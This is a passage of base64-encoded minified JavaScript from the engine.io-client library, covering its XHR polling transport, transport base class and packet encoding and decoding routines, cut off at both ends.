ml6ZWQ9dGhpcy5yZWplY3RVbmF1dGhvcml6ZWQ7dmFyIG49dGhpcy54aHI9bmV3IGEodCkscj10aGlzO3RyeXtoKCJ4aHIgb3BlbiAlczogJXMiLHRoaXMubWV0aG9kLHRoaXMudXJpKSxuLm9wZW4odGhpcy5tZXRob2QsdGhpcy51cmksdGhpcy5hc3luYyk7dHJ5e2lmKHRoaXMuZXh0cmFIZWFkZXJzKXtuLnNldERpc2FibGVIZWFkZXJDaGVjayYmbi5zZXREaXNhYmxlSGVhZGVyQ2hlY2soITApO2Zvcih2YXIgbyBpbiB0aGlzLmV4dHJhSGVhZGVycyl0aGlzLmV4dHJhSGVhZGVycy5oYXNPd25Qcm9wZXJ0eShvKSYmbi5zZXRSZXF1ZXN0SGVhZGVyKG8sdGhpcy5leHRyYUhlYWRlcnNbb10pfX1jYXRjaChzKXt9aWYoIlBPU1QiPT09dGhpcy5tZXRob2QpdHJ5e3RoaXMuaXNCaW5hcnk/bi5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LXR5cGUiLCJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTpuLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtdHlwZSIsInRleHQvcGxhaW47Y2hhcnNldD1VVEYtOCIpfWNhdGNoKHMpe310cnl7bi5zZXRSZXF1ZXN0SGVhZGVyKCJBY2NlcHQiLCIqLyoiKX1jYXRjaChzKXt9IndpdGhDcmVkZW50aWFscyJpbiBuJiYobi53aXRoQ3JlZGVudGlhbHM9ITApLHRoaXMucmVxdWVzdFRpbWVvdXQmJihuLnRpbWVvdXQ9dGhpcy5yZXF1ZXN0VGltZW91dCksdGhpcy5oYXNYRFIoKT8obi5vbmxvYWQ9ZnVuY3Rpb24oKXtyLm9uTG9hZCgpfSxuLm9uZXJyb3I9ZnVuY3Rpb24oKXtyLm9uRXJyb3Iobi5yZXNwb25zZVRleHQpfSk6bi5vbnJlYWR5c3RhdGVjaGFuZ2U9ZnVuY3Rpb24oKXtpZigyPT09bi5yZWFkeVN0YXRlKXt2YXIgdDt0cnl7dD1uLmdldFJlc3BvbnNlSGVhZGVyKCJDb250ZW50LVR5cGUiKX1jYXRjaChlKXt9ImFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSI9PT10JiYobi5yZXNwb25zZVR5cGU9ImFycmF5YnVmZmVyIil9ND09PW4ucmVhZHlTdGF0ZSYmKDIwMD09PW4uc3RhdHVzfHwxMjIzPT09bi5zdGF0dXM/ci5vbkxvYWQoKTpzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7ci5vbkVycm9yKG4uc3RhdHVzKX0sMCkpfSxoKCJ4aHIgZGF0YSAlcyIsdGhpcy5kYXRhKSxuLnNlbmQodGhpcy5kYXRhKX1jYXRjaChzKXtyZXR1cm4gdm9pZCBzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7ci5vbkVycm9yKHMpfSwwKX1lLmRvY3VtZW50JiYodGhpcy5pbmRleD1pLnJlcXVlc3RzQ291bnQrKyxpLnJlcXVlc3RzW3RoaXMuaW5kZXhdPXRoaXMpfSxpLnByb3RvdHlwZS5vblN1Y2Nlc3M9ZnVuY3Rpb24oKXt0aGlzLmVtaXQoInN1Y2Nlc3MiKSx0aGlzLmNsZWFudXAoKX0saS5wcm90b3R5cGUub25EYXRhPWZ1bmN0aW9uKHQpe3RoaXMuZW1pdCgiZGF0YSIsdCksdGhpcy5vblN1Y2Nlc3MoKX0saS5wcm90b3R5cGUub25FcnJvcj1mdW5jdGlvbih0KXt0aGlzLmVtaXQoImVycm9yIix0KSx0aGlzLmNsZWFudXAoITApfSxpLnByb3RvdHlwZS5jbGVhbnVwPWZ1bmN0aW9uKHQpe2lmKCJ1bmRlZmluZWQiIT10eXBlb2YgdGhpcy54aHImJm51bGwhPT10aGlzLnhocil7aWYodGhpcy5oYXNYRFIoKT90aGlzLnhoci5vbmxvYWQ9dGhpcy54aHIub25lcnJvcj1yOnRoaXMueGhyLm9ucmVhZHlzdGF0ZWNoYW5nZT1yLHQpdHJ5e3RoaXMueGhyLmFib3J0KCl9Y2F0Y2gobil7fWUuZG9jdW1lbnQmJmRlbGV0ZSBpLnJlcXVlc3RzW3RoaXMuaW5kZXhdLHRoaXMueGhyPW51bGx9fSxpLnByb3RvdHlwZS5vbkxvYWQ9ZnVuY3Rpb24oKXt2YXIgdDt0cnl7dmFyIGU7dHJ5e2U9dGhpcy54aHIuZ2V0UmVzcG9uc2VIZWFkZXIoIkNvbnRlbnQtVHlwZSIpfWNhdGNoKG4pe310PSJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iPT09ZT90aGlzLnhoci5yZXNwb25zZXx8dGhpcy54aHIucmVzcG9uc2VUZXh0OnRoaXMueGhyLnJlc3BvbnNlVGV4dH1jYXRjaChuKXt0aGlzLm9uRXJyb3Iobil9bnVsbCE9dCYmdGhpcy5vbkRhdGEodCl9LGkucHJvdG90eXBlLmhhc1hEUj1mdW5jdGlvbigpe3JldHVybiJ1bmRlZmluZWQiIT10eXBlb2YgZS5YRG9tYWluUmVxdWVzdCYmIXRoaXMueHMmJnRoaXMuZW5hYmxlc1hEUn0saS5wcm90b3R5cGUuYWJvcnQ9ZnVuY3Rpb24oKXt0aGlzLmNsZWFudXAoKX0saS5yZXF1ZXN0c0NvdW50PTAsaS5yZXF1ZXN0cz17fSxlLmRvY3VtZW50JiYoZS5hdHRhY2hFdmVudD9lLmF0dGFjaEV2ZW50KCJvbnVubG9hZCIscyk6ZS5hZGRFdmVudExpc3RlbmVyJiZlLmFkZEV2ZW50TGlzdGVuZXIoImJlZm9yZXVubG9hZCIscywhMSkpfSkuY2FsbChlLGZ1bmN0aW9uKCl7cmV0dXJuIHRoaXN9KCkpfSxmdW5jdGlvbih0LGUsbil7ZnVuY3Rpb24gcih0KXt2YXIgZT10JiZ0LmZvcmNlQmFzZTY0O3UmJiFlfHwodGhpcy5zdXBwb3J0c0JpbmFyeT0hMSksby5jYWxsKHRoaXMsdCl9dmFyIG89bigyMSksaT1uKDMwKSxzPW4oMjIpLGE9bigzMSksYz1uKDMyKSxwPW4oMykoImVuZ2luZS5pby1jbGllbnQ6cG9sbGluZyIpO3QuZXhwb3J0cz1yO3ZhciB1PWZ1bmN0aW9uKCl7dmFyIHQ9bigxNyksZT1uZXcgdCh7eGRvbWFpbjohMX0pO3JldHVybiBudWxsIT1lLnJlc3BvbnNlVHlwZX0oKTthKHIsbyksci5wcm90b3R5cGUubmFtZT0icG9sbGluZyIsci5wcm90b3R5cGUuZG9PcGVuPWZ1bmN0aW9uKCl7dGhpcy5wb2xsKCl9LHIucHJvdG90eXBlLnBhdXNlPWZ1bmN0aW9uKHQpe2Z1bmN0aW9uIGUoKXtwKCJwYXVzZWQiKSxuLnJlYWR5U3RhdGU9InBhdXNlZCIsdCgpfXZhciBuPXRoaXM7aWYodGhpcy5yZWFkeVN0YXRlPSJwYXVzaW5nIix0aGlzLnBvbGxpbmd8fCF0aGlzLndyaXRhYmxlKXt2YXIgcj0wO3RoaXMucG9sbGluZyYmKHAoIndlIGFyZSBjdXJyZW50bHkgcG9sbGluZyAtIHdhaXRpbmcgdG8gcGF1c2UiKSxyKyssdGhpcy5vbmNlKCJwb2xsQ29tcGxldGUiLGZ1bmN0aW9uKCl7cCgicHJlLXBhdXNlIHBvbGxpbmcgY29tcGxldGUiKSwtLXJ8fGUoKX0pKSx0aGlzLndyaXRhYmxlfHwocCgid2UgYXJlIGN1cnJlbnRseSB3cml0aW5nIC0gd2FpdGluZyB0byBwYXVzZSIpLHIrKyx0aGlzLm9uY2UoImRyYWluIixmdW5jdGlvbigpe3AoInByZS1wYXVzZSB3cml0aW5nIGNvbXBsZXRlIiksLS1yfHxlKCl9KSl9ZWxzZSBlKCl9LHIucHJvdG90eXBlLnBvbGw9ZnVuY3Rpb24oKXtwKCJwb2xsaW5nIiksdGhpcy5wb2xsaW5nPSEwLHRoaXMuZG9Qb2xsKCksdGhpcy5lbWl0KCJwb2xsIil9LHIucHJvdG90eXBlLm9uRGF0YT1mdW5jdGlvbih0KXt2YXIgZT10aGlzO3AoInBvbGxpbmcgZ290IGRhdGEgJXMiLHQpO3ZhciBuPWZ1bmN0aW9uKHQsbixyKXtyZXR1cm4ib3BlbmluZyI9PT1lLnJlYWR5U3RhdGUmJmUub25PcGVuKCksImNsb3NlIj09PXQudHlwZT8oZS5vbkNsb3NlKCksITEpOnZvaWQgZS5vblBhY2tldCh0KX07cy5kZWNvZGVQYXlsb2FkKHQsdGhpcy5zb2NrZXQuYmluYXJ5VHlwZSxuKSwiY2xvc2VkIiE9PXRoaXMucmVhZHlTdGF0ZSYmKHRoaXMucG9sbGluZz0hMSx0aGlzLmVtaXQoInBvbGxDb21wbGV0ZSIpLCJvcGVuIj09PXRoaXMucmVhZHlTdGF0ZT90aGlzLnBvbGwoKTpwKCdpZ25vcmluZyBwb2xsIC0gdHJhbnNwb3J0IHN0YXRlICIlcyInLHRoaXMucmVhZHlTdGF0ZSkpfSxyLnByb3RvdHlwZS5kb0Nsb3NlPWZ1bmN0aW9uKCl7ZnVuY3Rpb24gdCgpe3AoIndyaXRpbmcgY2xvc2UgcGFja2V0IiksZS53cml0ZShbe3R5cGU6ImNsb3NlIn1dKX12YXIgZT10aGlzOyJvcGVuIj09PXRoaXMucmVhZHlTdGF0ZT8ocCgidHJhbnNwb3J0IG9wZW4gLSBjbG9zaW5nIiksdCgpKToocCgidHJhbnNwb3J0IG5vdCBvcGVuIC0gZGVmZXJyaW5nIGNsb3NlIiksdGhpcy5vbmNlKCJvcGVuIix0KSl9LHIucHJvdG90eXBlLndyaXRlPWZ1bmN0aW9uKHQpe3ZhciBlPXRoaXM7dGhpcy53cml0YWJsZT0hMTt2YXIgbj1mdW5jdGlvbigpe2Uud3JpdGFibGU9ITAsZS5lbWl0KCJkcmFpbiIpfTtzLmVuY29kZVBheWxvYWQodCx0aGlzLnN1cHBvcnRzQmluYXJ5LGZ1bmN0aW9uKHQpe2UuZG9Xcml0ZSh0LG4pfSl9LHIucHJvdG90eXBlLnVyaT1mdW5jdGlvbigpe3ZhciB0PXRoaXMucXVlcnl8fHt9LGU9dGhpcy5zZWN1cmU/Imh0dHBzIjoiaHR0cCIsbj0iIjshMSE9PXRoaXMudGltZXN0YW1wUmVxdWVzdHMmJih0W3RoaXMudGltZXN0YW1wUGFyYW1dPWMoKSksdGhpcy5zdXBwb3J0c0JpbmFyeXx8dC5zaWR8fCh0LmI2ND0xKSx0PWkuZW5jb2RlKHQpLHRoaXMucG9ydCYmKCJodHRwcyI9PT1lJiY0NDMhPT1OdW1iZXIodGhpcy5wb3J0KXx8Imh0dHAiPT09ZSYmODAhPT1OdW1iZXIodGhpcy5wb3J0KSkmJihuPSI6Iit0aGlzLnBvcnQpLHQubGVuZ3RoJiYodD0iPyIrdCk7dmFyIHI9dGhpcy5ob3N0bmFtZS5pbmRleE9mKCI6IikhPT0tMTtyZXR1cm4gZSsiOi8vIisocj8iWyIrdGhpcy5ob3N0bmFtZSsiXSI6dGhpcy5ob3N0bmFtZSkrbit0aGlzLnBhdGgrdH19LGZ1bmN0aW9uKHQsZSxuKXtmdW5jdGlvbiByKHQpe3RoaXMucGF0aD10LnBhdGgsdGhpcy5ob3N0bmFtZT10Lmhvc3RuYW1lLHRoaXMucG9ydD10LnBvcnQsdGhpcy5zZWN1cmU9dC5zZWN1cmUsdGhpcy5xdWVyeT10LnF1ZXJ5LHRoaXMudGltZXN0YW1wUGFyYW09dC50aW1lc3RhbXBQYXJhbSx0aGlzLnRpbWVzdGFtcFJlcXVlc3RzPXQudGltZXN0YW1wUmVxdWVzdHMsdGhpcy5yZWFkeVN0YXRlPSIiLHRoaXMuYWdlbnQ9dC5hZ2VudHx8ITEsdGhpcy5zb2NrZXQ9dC5zb2NrZXQsdGhpcy5lbmFibGVzWERSPXQuZW5hYmxlc1hEUix0aGlzLnBmeD10LnBmeCx0aGlzLmtleT10LmtleSx0aGlzLnBhc3NwaHJhc2U9dC5wYXNzcGhyYXNlLHRoaXMuY2VydD10LmNlcnQsdGhpcy5jYT10LmNhLHRoaXMuY2lwaGVycz10LmNpcGhlcnMsdGhpcy5yZWplY3RVbmF1dGhvcml6ZWQ9dC5yZWplY3RVbmF1dGhvcml6ZWQsdGhpcy5mb3JjZU5vZGU9dC5mb3JjZU5vZGUsdGhpcy5leHRyYUhlYWRlcnM9dC5leHRyYUhlYWRlcnMsdGhpcy5sb2NhbEFkZHJlc3M9dC5sb2NhbEFkZHJlc3N9dmFyIG89bigyMiksaT1uKDgpO3QuZXhwb3J0cz1yLGkoci5wcm90b3R5cGUpLHIucHJvdG90eXBlLm9uRXJyb3I9ZnVuY3Rpb24odCxlKXt2YXIgbj1uZXcgRXJyb3IodCk7cmV0dXJuIG4udHlwZT0iVHJhbnNwb3J0RXJyb3IiLG4uZGVzY3JpcHRpb249ZSx0aGlzLmVtaXQoImVycm9yIixuKSx0aGlzfSxyLnByb3RvdHlwZS5vcGVuPWZ1bmN0aW9uKCl7cmV0dXJuImNsb3NlZCIhPT10aGlzLnJlYWR5U3RhdGUmJiIiIT09dGhpcy5yZWFkeVN0YXRlfHwodGhpcy5yZWFkeVN0YXRlPSJvcGVuaW5nIix0aGlzLmRvT3BlbigpKSx0aGlzfSxyLnByb3RvdHlwZS5jbG9zZT1mdW5jdGlvbigpe3JldHVybiJvcGVuaW5nIiE9PXRoaXMucmVhZHlTdGF0ZSYmIm9wZW4iIT09dGhpcy5yZWFkeVN0YXRlfHwodGhpcy5kb0Nsb3NlKCksdGhpcy5vbkNsb3NlKCkpLHRoaXN9LHIucHJvdG90eXBlLnNlbmQ9ZnVuY3Rpb24odCl7aWYoIm9wZW4iIT09dGhpcy5yZWFkeVN0YXRlKXRocm93IG5ldyBFcnJvcigiVHJhbnNwb3J0IG5vdCBvcGVuIik7dGhpcy53cml0ZSh0KX0sci5wcm90b3R5cGUub25PcGVuPWZ1bmN0aW9uKCl7dGhpcy5yZWFkeVN0YXRlPSJvcGVuIix0aGlzLndyaXRhYmxlPSEwLHRoaXMuZW1pdCgib3BlbiIpfSxyLnByb3RvdHlwZS5vbkRhdGE9ZnVuY3Rpb24odCl7dmFyIGU9by5kZWNvZGVQYWNrZXQodCx0aGlzLnNvY2tldC5iaW5hcnlUeXBlKTt0aGlzLm9uUGFja2V0KGUpfSxyLnByb3RvdHlwZS5vblBhY2tldD1mdW5jdGlvbih0KXt0aGlzLmVtaXQoInBhY2tldCIsdCl9LHIucHJvdG90eXBlLm9uQ2xvc2U9ZnVuY3Rpb24oKXt0aGlzLnJlYWR5U3RhdGU9ImNsb3NlZCIsdGhpcy5lbWl0KCJjbG9zZSIpfX0sZnVuY3Rpb24odCxlLG4peyhmdW5jdGlvbih0KXtmdW5jdGlvbiByKHQsbil7dmFyIHI9ImIiK2UucGFja2V0c1t0LnR5cGVdK3QuZGF0YS5kYXRhO3JldHVybiBuKHIpfWZ1bmN0aW9uIG8odCxuLHIpe2lmKCFuKXJldHVybiBlLmVuY29kZUJhc2U2NFBhY2tldCh0LHIpO3ZhciBvPXQuZGF0YSxpPW5ldyBVaW50OEFycmF5KG8pLHM9bmV3IFVpbnQ4QXJyYXkoMStvLmJ5dGVMZW5ndGgpO3NbMF09dlt0LnR5cGVdO2Zvcih2YXIgYT0wO2E8aS5sZW5ndGg7YSsrKXNbYSsxXT1pW2FdO3JldHVybiByKHMuYnVmZmVyKX1mdW5jdGlvbiBpKHQsbixyKXtpZighbilyZXR1cm4gZS5lbmNvZGVCYXNlNjRQYWNrZXQodCxyKTt2YXIgbz1uZXcgRmlsZVJlYWRlcjtyZXR1cm4gby5vbmxvYWQ9ZnVuY3Rpb24oKXt0LmRhdGE9by5yZXN1bHQsZS5lbmNvZGVQYWNrZXQodCxuLCEwLHIpfSxvLnJlYWRBc0FycmF5QnVmZmVyKHQuZGF0YSl9ZnVuY3Rpb24gcyh0LG4scil7aWYoIW4pcmV0dXJuIGUuZW5jb2RlQmFzZTY0UGFja2V0KHQscik7aWYoZylyZXR1cm4gaSh0LG4scik7dmFyIG89bmV3IFVpbnQ4QXJyYXkoMSk7b1swXT12W3QudHlwZV07dmFyIHM9bmV3IGsoW28uYnVmZmVyLHQuZGF0YV0pO3JldHVybiByKHMpfWZ1bmN0aW9uIGEodCl7dHJ5e3Q9ZC5kZWNvZGUodCx7c3RyaWN0OiExfSl9Y2F0Y2goZSl7cmV0dXJuITF9cmV0dXJuIHR9ZnVuY3Rpb24gYyh0LGUsbil7Zm9yKHZhciByPW5ldyBBcnJheSh0Lmxlbmd0aCksbz1sKHQubGVuZ3RoLG4pLGk9ZnVuY3Rpb24odCxuLG8pe2UobixmdW5jdGlvbihlLG4pe3JbdF09bixvKGUscil9KX0scz0wO3M8dC5sZW5ndGg7cysrKWkocyx0W3NdLG8pfXZhciBwLHU9bigyMyksaD1uKDkpLGY9bigyNCksbD1uKDI1KSxkPW4oMjYpO3QmJnQuQXJyYXlCdWZmZXImJihwPW4oMjgpKTt2YXIgeT0idW5kZWZpbmVkIiE9dHlwZW9mIG5hdmlnYXRvciYmL0FuZHJvaWQvaS50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpLG09InVuZGVmaW5lZCIhPXR5cGVvZiBuYXZpZ2F0b3ImJi9QaGFudG9tSlMvaS50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpLGc9eXx8bTtlLnByb3RvY29sPTM7dmFyIHY9ZS5wYWNrZXRzPXtvcGVuOjAsY2xvc2U6MSxwaW5nOjIscG9uZzozLG1lc3NhZ2U6NCx1cGdyYWRlOjUsbm9vcDo2fSxiPXUodiksdz17dHlwZToiZXJyb3IiLGRhdGE6InBhcnNlciBlcnJvciJ9LGs9bigyOSk7ZS5lbmNvZGVQYWNrZXQ9ZnVuY3Rpb24oZSxuLGksYSl7ImZ1bmN0aW9uIj09dHlwZW9mIG4mJihhPW4sbj0hMSksImZ1bmN0aW9uIj09dHlwZW9mIGkmJihhPWksaT1udWxsKTt2YXIgYz12b2lkIDA9PT1lLmRhdGE/dm9pZCAwOmUuZGF0YS5idWZmZXJ8fGUuZGF0YTtpZih0LkFycmF5QnVmZmVyJiZjIGluc3RhbmNlb2YgQXJyYXlCdWZmZXIpcmV0dXJuIG8oZSxuLGEpO2lmKGsmJmMgaW5zdGFuY2VvZiB0LkJsb2IpcmV0dXJuIHMoZSxuLGEpO2lmKGMmJmMuYmFzZTY0KXJldHVybiByKGUsYSk7dmFyIHA9dltlLnR5cGVdO3JldHVybiB2b2lkIDAhPT1lLmRhdGEmJihwKz1pP2QuZW5jb2RlKFN0cmluZyhlLmRhdGEpLHtzdHJpY3Q6ITF9KTpTdHJpbmcoZS5kYXRhKSksYSgiIitwKX0sZS5lbmNvZGVCYXNlNjRQYWNrZXQ9ZnVuY3Rpb24obixyKXt2YXIgbz0iYiIrZS5wYWNrZXRzW24udHlwZV07aWYoayYmbi5kYXRhIGluc3RhbmNlb2YgdC5CbG9iKXt2YXIgaT1uZXcgRmlsZVJlYWRlcjtyZXR1cm4gaS5vbmxvYWQ9ZnVuY3Rpb24oKXt2YXIgdD1pLnJlc3VsdC5zcGxpdCgiLCIpWzFdO3Iobyt0KX0saS5yZWFkQXNEYXRhVVJMKG4uZGF0YSl9dmFyIHM7dHJ5e3M9U3RyaW5nLmZyb21DaGFyQ29kZS5hcHBseShudWxsLG5ldyBVaW50OEFycmF5KG4uZGF0YSkpfWNhdGNoKGEpe2Zvcih2YXIgYz1uZXcgVWludDhBcnJheShuLmRhdGEpLHA9bmV3IEFycmF5KGMubGVuZ3RoKSx1PTA7dTxjLmxlbmd0aDt1KyspcFt1XT1jW3VdO3M9U3RyaW5nLmZyb21DaGFyQ29kZS5hcHBseShudWxsLHApfXJldHVybiBvKz10LmJ0b2EocykscihvKX0sZS5kZWNvZGVQYWNrZXQ9ZnVuY3Rpb24odCxuLHIpe2lmKHZvaWQgMD09PXQpcmV0dXJuIHc7aWYoInN0cmluZyI9PXR5cGVvZiB0KXtpZigiYiI9PT10LmNoYXJBdCgwKSlyZXR1cm4gZS5kZWNvZGVCYXNlNjRQYWNrZXQodC5zdWJzdHIoMSksbik7aWYociYmKHQ9YSh0KSx0PT09ITEpKXJldHVybiB3O3ZhciBvPXQuY2hhckF0KDApO3JldHVybiBOdW1iZXIobyk9PW8mJmJbb10/dC5sZW5ndGg+MT97dHlwZTpiW29dLGRhdGE6dC5zdWJzdHJpbmcoMSl9Ont0eXBlOmJbb119Ond9dmFyIGk9bmV3IFVpbnQ4QXJyYXkodCksbz1pWzBdLHM9Zih0LDEpO3JldHVybiBrJiYiYmxvYiI9PT1uJiYocz1uZXcgayhbc10pKSx7dHlwZTpiW29dLGRhdGE6c319LGUuZGVjb2RlQmFzZTY0UGFja2V0PWZ1bmN0aW9uKHQsZSl7dmFyIG49Ylt0LmNoYXJBdCgwKV07aWYoIXApcmV0dXJue3R5cGU6bixkYXRhOntiYXNlNjQ6ITAsZGF0YTp0LnN1YnN0cigxKX19O3ZhciByPXAuZGVjb2RlKHQuc3Vic3RyKDEpKTtyZXR1cm4iYmxvYiI9PT1lJiZrJiYocj1uZXcgayhbcl0pKSx7dHlwZTpuLGRhdGE6cn19LGUuZW5jb2RlUGF5bG9hZD1mdW5jdGlvbih0LG4scil7ZnVuY3Rpb24gbyh0KXtyZXR1cm4gdC5sZW5ndGgrIjoiK3R9ZnVuY3Rpb24gaSh0LHIpe2UuZW5jb2RlUGFja2V0KHQsISFzJiZuLCExLGZ1bmN0aW9uKHQpe3IobnVsbCxvKHQpKX0pfSJmdW5jdGlvbiI9PXR5cGVvZiBuJiYocj1uLG49bnVsbCk7dmFyIHM9aCh0KTtyZXR1cm4gbiYmcz9rJiYhZz9lLmVuY29kZVBheWxvYWRBc0Jsb2IodCxyKTplLmVuY29kZVBheWxvYWRBc0FycmF5QnVmZmVyKHQscik6dC5sZW5ndGg/dm9pZCBjKHQsaSxmdW5jdGlvbih0LGUpe3JldHVybiByKGUuam9pbigiIikpfSk6cigiMDoiKX0sZS5kZWNvZGVQYXlsb2FkPWZ1bmN0aW9uKHQsbixyKXtpZigic3RyaW5nIiE9dHlwZW9mIHQpcmV0dXJuIGUuZGVjb2RlUGF5bG9hZEFzQmluYXJ5KHQsbixyKTsiZnVuY3Rpb24iPT10eXBlb2YgbiYmKHI9bixuPW51bGwpO3ZhciBvO2lmKCIiPT09dClyZXR1cm4gcih3LDAsMSk7Zm9yKHZhciBpLHMsYT0iIixjPTAscD10Lmxlbmd0aDtjPHA7YysrKXt2YXIgdT10LmNoYXJBdChjKTtpZigiOiI9PT11KXtpZigiIj09PWF8fGEhPShpPU51bWJlcihhKSkpcmV0dXJuIHIodywwLDEpO2lmKHM9dC5zdWJzdHIoYysxLGkpLGEhPXMubGVuZ3RoKXJldHVybiByKHcsMCwxKTtpZihzLmxlbmd0aCl7aWYobz1lLmRlY29kZVBhY2tldChzLG4sITEpLHcudHlwZT09PW8udHlwZSYmdy5kYXRhPT09by5kYXRhKXJldHVybiByKHcsMCwxKTt2YXIgaD1yKG8sYytpLHApO2lmKCExPT09aClyZXR1cm59Yys9aSxhPSIifWVsc2UgYSs9dX1yZXR1cm4iIiE9PWE/cih3LDAsMSk6dm9pZCAwfSxlLmVuY29kZVBheWxvYWRBc0FycmF5QnVmZmVyPWZ1bmN0aW9uKHQsbil7ZnVuY3Rpb24gcih0LG4pe2UuZW5jb2RlUGFja2V0KHQsITAsITAsZnVuY3Rpb24odCl7cmV0dXJuIG4obnVsbCx0KX0pfXJldHVybiB0Lmxlbmd0aD92b2lkIGModCxyLGZ1bmN0aW9uKHQsZSl7dmFyIHI9ZS5yZWR1Y2UoZnVuY3Rpb24odCxlKXt2YXIgbjtyZXR1cm4gbj0ic3RyaW5nIj09dHlwZW9mIGU/ZS5sZW5ndGg6ZS5ieXRlTGVuZ3RoLHQrbi50b1N0cmluZygpLmxlbmd0aCtuKzJ9LDApLG89bmV3IFVpbnQ4QXJyYXkociksaT0wO3JldHVybiBlLmZvckVhY2goZnVuY3Rpb24odCl7dmFyIGU9InN0cmluZyI9PXR5cGVvZiB0LG49dDtpZihlKXtmb3IodmFyIHI9bmV3IFVpbnQ4QXJyYXkodC5sZW5ndGgpLHM9MDtzPHQubGVuZ3RoO3MrKylyW3NdPXQuY2hhckNvZGVBdChzKTtuPXIuYnVmZmVyfWU/b1tpKytdPTA6b1tpKytdPTE7Zm9yKHZhciBhPW4uYnl0ZUxlbmd0aC50b1N0cmluZygpLHM9MDtzPGEubGVuZ3RoO3MrKylvW2krK109cGFyc2VJbnQoYVtzXSk7b1tpKytdPTI1NTtmb3IodmFyIHI9bmV3IFVpbnQ4QXJyYXkobikscz0wO3M8ci5sZW5ndGg7cysrKW9baSsrXT1yW3NdfSksbihvLmJ1ZmZlcil9KTpuKG5ldyBBcnJheUJ1ZmZlcigwKSl9LGUuZW5jb2RlUGF5bG9hZEFzQmxvYj1mdW5jdGlvbih0LG4pe2Z1bmN0aW9uIHIodCxuKXtlLmVuY29kZVBhY2tldCh0LCEwLCEwLGZ1bmN0aW9uKHQpe3ZhciBlPW5ldyBVaW50OEFycmF5KDEpO2lmKGVbMF09MSwic3RyaW5nIj09dHlwZW9mIHQpe2Zvcih2YXIgcj1uZXcgVWludDhBcnJheSh0Lmxlbmd0aCksbz0wO288dC5sZW5ndGg7bysrKXJbb109dC5jaGFyQ29kZUF0KG8pO3Q9ci5idWZmZXIsZVswXT0wfWZvcih2YXIgaT10IGluc3RhbmNlb2YgQXJyYXlCdWZmZXI/dC5ieXRlTGVuZ3RoOnQuc2l6ZSxzPWkudG9TdHJpbmcoKSxhPW5ldyBVaW50OEFycmF5KHMubGVuZ3RoKzEpLG89MDtvPHMubGVuZ3RoO28rKylhW29dPXBhcnNlSW50KHNbb10pO2lmKGFbcy5sZW5ndGhdPTI1NSxrKXt2YXIgYz1uZXcgayhbZS5idWZmZXIsYS5idWZmZXIsdF0pO24obnVsbCxjKX19KX1jKHQscixmdW5jdGlvbih0LGUpe3JldHVybiBuKG5ldyBrKGUpKX0pfSxlLmRlY29kZVBheWxvYWRBc0JpbmFyeT1mdW5jdGlvbih0LG4scil7ImZ1bmN0aW9uIj09dHlwZW9mIG4mJihyPW4sbj1udWxsKTtmb3IodmFyIG89dCxpPVtdO28uYnl0ZUxlbmd0aD4wOyl7Zm9yKHZhciBzPW5ldyBVaW50OEFycmF5KG8pLGE9MD09PXNbMF0sYz0iIixwPTE7MjU1IT09c1twXTtwKyspe2lmKGMubGVuZ3RoPjMxMClyZXR1cm4gcih3LDAsMSk7Yys9c1twXX1vPWYobywyK2MubGVuZ3RoKSxjPXBhcnNlSW50KGMpO3ZhciB1PWYobywwLGMpO2lmKGEpdHJ5e3U9U3RyaW5nLmZyb21DaGFyQ29kZS5hcHBseShudWxsLG5ldyBVaW50OEFycmF5KHUpKX1jYXRjaChoKXt2YXIgbD1uZXcgVWludDhBcnJheSh1KTt1PSIiO2Zvcih2YXIgcD0wO3A8bC5sZW5ndGg7cCsrKXUrPVN0cmluZy5mcm9tQ2hhckNvZGUobFtwXSl9aS5wdXNoKHUpLG89ZihvLGMpfXZhciBkPWkubGVuZ3RoO2kuZm9yRWFjaChmdW5jdGlvbih0LG8pe3IoZS5kZWNvZGVQYWNrZXQodCxuLCEwKSxvLGQpfSl9fSkuY2FsbChlLGZ1bmN0aW9uKCl7cmV0dXJuIHRoaXN9KCkpfSxmdW5jdGlvbih0LGUpe3QuZXhwb3J0cz1PYmplY3Qua2V5c3x8ZnVuY3Rpb24odCl7dmFyIGU9W10sbj1PYmplY3QucHJvdG90eXBlLmhhc093blByb3BlcnR5O2Zvcih2YXIgciBpbiB0KW4uY2FsbCh0LHIpJiZlLnB1c2gocik7cmV0dXJuIGV9fSxmdW5jdGlvbih0LGUpe3QuZXhwb3J0cz1mdW5jdGlvbih0LGUsbil7dmFyIHI9dC5ieXRlTGVuZ3RoO2lmKGU9ZXx8MCxuPW58fHIsdC5zbGljZSlyZXR1cm4gdC5zbGljZShlLG4pO2lmKGU8MCYmKGUrPXIpLG48MCYmKG4rPXIpLG4+ciYmKG49ciksZT49cnx8ZT49bnx8MD09PXIpcmV0dXJuIG5ldyBBcnJheUJ1ZmZlcigwKTtmb3IodmFyIG89bmV3IFVpbnQ4QXJyYXkodCksaT1uZXcgVWludDhBcnJheShuLWUpLHM9ZSxhPTA7czxuO3MrKyxhKyspaVthXT1vW3NdO3JldHVybiBpLmJ1ZmZlcn19LGZ1bmN0aW9uKHQsZSl7ZnVuY3Rpb24gbih0LGUsbil7ZnVuY3Rpb24gbyh0LHIpe2lmKG8uY291bnQ8PTApdGhyb3cgbmV3IEVycm9yKCJhZnRlciBjYWxsZWQgdG9vIG1hbnkgdGltZXMiKTstLW8uY291bnQsdD8oaT0hMCxlKHQpLGU9bik6MCE9PW8uY291bnR8fGl8fGUobnVsbCxyKX12YXIgaT0hMTtyZXR1cm4gbj1ufHxyLG8uY291bnQ9dCwwPT09dD9lKCk6b31mdW5jdGlvbiByKCl7fXQuZXhwb3J0cz1ufSxmdW5jdGlvbih0LGUsbil7dmFyIHI7KGZ1bmN0aW9uKHQsbyl7IWZ1bmN0aW9uKGkpe2Z1bmN0aW9uIHModCl7Zm9yKHZhciBlLG4scj1bXSxvPTAsaT10Lmxlbmd0aDtvPGk7KWU9dC5jaGFyQ29kZUF0KG8rKyksZT49NTUyOTYmJmU8PTU2MzE5JiZvPGk/KG49dC5jaGFyQ29kZUF0KG8rKyksNTYzMjA9PSg2NDUxMiZuKT9yLnB1c2goKCgxMDIzJmUpPDwxMCkrKDEwMjMmbikrNjU